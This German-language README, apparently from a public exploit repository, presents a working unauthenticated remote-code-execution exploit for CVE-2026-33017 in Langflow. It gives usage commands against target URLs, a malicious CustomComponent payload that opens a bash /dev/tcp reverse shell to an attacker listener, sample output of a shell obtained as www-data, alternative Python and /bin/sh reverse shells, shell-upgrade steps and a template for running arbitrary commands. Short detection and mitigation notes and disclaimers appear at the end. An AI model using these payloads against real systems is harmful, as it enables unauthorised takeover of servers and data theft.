
Exploit für CVE-2026-33017, eine nicht authentifizierte RCE in Langflow, die eine Reverse Shell über eine bösartige CustomComponent-Payload ermöglicht.
CVE-2026-33017 ist eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle (RCE) in Langflow-Versionen <= 1.8.2. Die Schwachstelle existiert im Endpunkt /api/v1/build_public_tmp/{flow_id}/flow, dem eine ordnungsgemäße Authentifizierung fehlt und der Angreifern erlaubt, beliebigen Python-Code während des Graph-Kompilierungsprozesses auszuführen.
Dieser Exploit dient ausschließlich Bildungs- und autorisierten Testzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
| Version | Status |
|---|
| <= 1.8.2 | Verwundbar |
| 1.9.0 | Gepatcht |
Die Schwachstelle stammt aus der Funktion prepare_global_scope() in validate.py, die exec() auf dem Code jedes CustomComponent-Knotens ohne ordnungsgemäße Sandboxing aufruft. Wenn eine Komponente geladen/kompiliert wird, wird jeder Python-Code auf Modulebene (außerhalb von Klassendefinitionen) sofort ausgeführt.
POST /api/v1/build_public_tmp/{flow_id}/flow
Eigenschaften:
Attacker POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← BELIEBIGE CODE-AUSFÜHRUNG
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. Reverse Shell
# Listener starten
nc -lvnp 4444
# Exploit ausführen
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. Verwendung kurzer Optionen
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. Lokales Testen
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. Benutzerdefiniertes Timeout
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| Argument | Kurzform | Erforderlich | Beschreibung |
|---|---|---|---|
--url | -u | Ja | Ziel-URL (z. B. https://target.langflow.com) |
--flow-id | -f | Ja | Flow-ID (UUID) des öffentlichen Flows |
--lhost | -lh | Ja | Listener-IP-Adresse für die Reverse Shell |
--lport | -lp | Ja | Listener-Port für die Reverse Shell |
--timeout | -t | Nein | HTTP-Timeout in Sekunden (Standard: 15) |
Der Exploit sendet einen bösartigen CustomComponent-Knoten, der Code auf Modulebene ausführt:
import os
# Dies wird sofort während des Komponentenladens ausgeführt
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. Angreifer sendet POST-Anfrage an /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow empfängt den bösartigen CustomComponent
3. prepare_global_scope() ruft exec() auf dem Komponentencode auf
4. Code auf Modulebene wird sofort ausgeführt
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Reverse Shell verbindet sich zurück zum Listener des Angreifers
6. Die Graph-Kompilierung wird fortgesetzt (aber es ist zu spät)
exec() ausgeführtexec() wird ohne Einschränkungen aufgerufendata-Parameter wird direkt eingebettet$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================
[!] Stellen Sie sicher, dass Ihr Listener läuft:
nc -lvnp 4444
[+] Ziel-URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Sende Exploit-Payload...
[+] Statuscode: 200
[+] Exploit erfolgreich gesendet!
[+] Job-ID: abc123-def456-789ghi
[*] Prüfen Sie Ihren Listener auf die Reverse Shell!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
Sobald Sie eine Reverse Shell haben:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Oder script verwenden
script /dev/null -c bash
# Mit Strg+Z in den Hintergrund
# Dann ausführen:
stty raw -echo
fg
reset
export TERM=xterm
Ändern Sie das Skript, um beliebige Befehle anstelle einer Reverse Shell auszuführen:
# In der build_payload()-Funktion:
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Python-Socket-Reverse-Shell
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. /bin/sh-Reverse-Shell (falls bash nicht verfügbar ist)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow ohne AuthentifizierungCustomComponent-Code mit os.system() oder subprocess/tmp/rce-proof- oder /tmp/executed-Dateien/build_public_tmp-Endpunkt eine ordnungsgemäße Authentifizierung hinzuCustomComponentexec()-Aufrufe| Datum | Ereignis |
|---|---|
| März 2026 | Schwachstelle entdeckt |
| 16. März 2026 | GitHub-Advisory veröffentlicht |
| April 2026 | Öffentliche Offenlegung |
| April 2026 | Patch veröffentlicht (1.9.0) |
Dieses Projekt dient ausschließlich Bildungszwecken. Verwendung auf eigene Gefahr.
Diese Software wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt. Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Die Benutzer sind allein dafür verantwortlich, alle geltenden Gesetze und Vorschriften einzuhalten.
Mit 🖤 erstellt für die Sicherheitsforschung